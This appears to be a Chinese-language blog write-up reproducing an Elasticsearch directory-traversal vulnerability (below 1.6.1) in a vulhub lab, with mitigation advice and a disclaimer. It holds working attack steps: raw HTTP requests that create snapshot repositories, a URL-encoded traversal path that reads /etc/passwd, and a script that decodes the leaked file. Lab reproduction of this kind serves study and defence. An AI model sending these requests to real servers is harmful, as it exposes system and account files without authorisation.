0x00 實驗環境

攻擊機：Win 10

靶場：docker拉的vulhub靶場

0x01 影響版本

1.6.1以下

0x02 漏洞復現

（1）訪問存在的漏洞頁面：（9200一般為ElasticSearch的常用埠）

（2）新建倉庫

PUT /_snapshot/test HTTP/1.1
Host:IP:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 110

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}
 

（3）新建快照

PUT /_snapshot/test2 HTTP/1.1
Host: IP:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}
 

（4）訪問http://IP:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd，可讀取到伺服器的賬號資訊，是ascii編碼的，需要自行解碼，以下為解碼的指令碼：

p='114, 111, 111, 116, 58, 120, 58, 48, 58, 48, 58, 114, 111, 111, 116, 58, 47, 114, 111, 111, 116, 58, 47, 98, 105, 110, 47, 98, 97, 115, 104, 10, 100, 97, 101, 109, 111, 110, 58, 120, 58, 49, 58, 49, 58, 100, 97, 101, 109, 111, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 98, 105, 110, 58, 120, 58, 50, 58, 50, 58, 98, 105, 110, 58, 47, 98, 105, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 115, 121, 115, 58, 120, 58, 51, 58, 51, 58, 115, 121, 115, 58, 47, 100, 101, 118, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 115, 121, 110, 99, 58, 120, 58, 52, 58, 54, 53, 53, 51, 52, 58, 115, 121, 110, 99, 58, 47, 98, 105, 110, 58, 47, 98, 105, 110, 47, 115, 121, 110, 99, 10, 103, 97, 109, 101, 115, 58, 120, 58, 53, 58, 54, 48, 58, 103, 97, 109, 101, 115, 58, 47, 117, 115, 114, 47, 103, 97, 109, 101, 115, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 109, 97, 110, 58, 120, 58, 54, 58, 49, 50, 58, 109, 97, 110, 58, 47, 118, 97, 114, 47, 99, 97, 99, 104, 101, 47, 109, 97, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 108, 112, 58, 120, 58, 55, 58, 55, 58, 108, 112, 58, 47, 118, 97, 114, 47, 115, 112, 111, 111, 108, 47, 108, 112, 100, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 109, 97, 105, 108, 58, 120, 58, 56, 58, 56, 58, 109, 97, 105, 108, 58, 47, 118, 97, 114, 47, 109, 97, 105, 108, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 110, 101, 119, 115, 58, 120, 58, 57, 58, 57, 58, 110, 101, 119, 115, 58, 47, 118, 97, 114, 47, 115, 112, 111, 111, 108, 47, 110, 101, 119, 115, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 117, 117, 99, 112, 58, 120, 58, 49, 48, 58, 49, 48, 58, 117, 117, 99, 112, 58, 47, 118, 97, 114, 47, 115, 112, 111, 111, 108, 47, 117, 117, 99, 112, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 112, 114, 111, 120, 121, 58, 120, 58, 49, 51, 58, 49, 51, 58, 112, 114, 111, 120, 121, 58, 47, 98, 105, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 119, 119, 119, 45, 100, 97, 116, 97, 58, 120, 58, 51, 51, 58, 51, 51, 58, 119, 119, 119, 45, 100, 97, 116, 97, 58, 47, 118, 97, 114, 47, 119, 119, 119, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 98, 97, 99, 107, 117, 112, 58, 120, 58, 51, 52, 58, 51, 52, 58, 98, 97, 99, 107, 117, 112, 58, 47, 118, 97, 114, 47, 98, 97, 99, 107, 117, 112, 115, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 108, 105, 115, 116, 58, 120, 58, 51, 56, 58, 51, 56, 58, 77, 97, 105, 108, 105, 110, 103, 32, 76, 105, 115, 116, 32, 77, 97, 110, 97, 103, 101, 114, 58, 47, 118, 97, 114, 47, 108, 105, 115, 116, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 105, 114, 99, 58, 120, 58, 51, 57, 58, 51, 57, 58, 105, 114, 99, 100, 58, 47, 118, 97, 114, 47, 114, 117, 110, 47, 105, 114, 99, 100, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 103, 110, 97, 116, 115, 58, 120, 58, 52, 49, 58, 52, 49, 58, 71, 110, 97, 116, 115, 32, 66, 117, 103, 45, 82, 101, 112, 111, 114, 116, 105, 110, 103, 32, 83, 121, 115, 116, 101, 109, 32, 40, 97, 100, 109, 105, 110, 41, 58, 47, 118, 97, 114, 47, 108, 105, 98, 47, 103, 110, 97, 116, 115, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 110, 111, 98, 111, 100, 121, 58, 120, 58, 54, 53, 53, 51, 52, 58, 54, 53, 53, 51, 52, 58, 110, 111, 98, 111, 100, 121, 58, 47, 110, 111, 110, 101, 120, 105, 115, 116, 101, 110, 116, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 95, 97, 112, 116, 58, 120, 58, 49, 48, 48, 58, 54, 53, 53, 51, 52, 58, 58, 47, 110, 111, 110, 101, 120, 105, 115, 116, 101, 110, 116, 58, 47, 98, 105, 110, 47, 102, 97, 108, 115, 101, 10
 
'
q=p.replace(',','')  #將數值中間的/替換為,

list = q.split(" ") #將字串轉換為列表


list2=[]

for i in list:
    x=int(i)
    str = chr(x)
    list2.append(str)  #將列表裡的int型的ascii數值轉換為字串型別並加入至空列表內

print(list2)
ss=''.join(list2) #將列表轉換為字串
print(ss)

POC的話自己去找吧，這個我覺得還是發包解碼好很多。

String.fromCharCode(98)在瀏覽器的console執行也可以轉換：

0x03 漏洞原理

找了半天沒找到漏洞原理，寫個大概的吧：

1.5.1及以前，無需任何配置即可觸發該漏洞。之後的新版，配置檔案elasticsearch.yml中必須存在path.repo，該配置值為一個目錄，且該目錄必須可寫，等於限制了備份倉庫的根位置。不配置該值，預設不啟動這個功能。

0x04 修復建議

1、升級版本

2、將repo目錄許可權設定為僅可讀，不可寫（自己建議的，僅在不影響業務的前提下）

0x05 參考文獻

https://www.cnblogs.com/qianxiao996/p/13574645.html

0x06 免責宣告

本漏洞復現文章僅用於學習、工作與興趣愛好，並立志為網路安全奉獻一份力量，凡是利用本部落格相關內容的無良hackers造成的安全事故均與本人無關！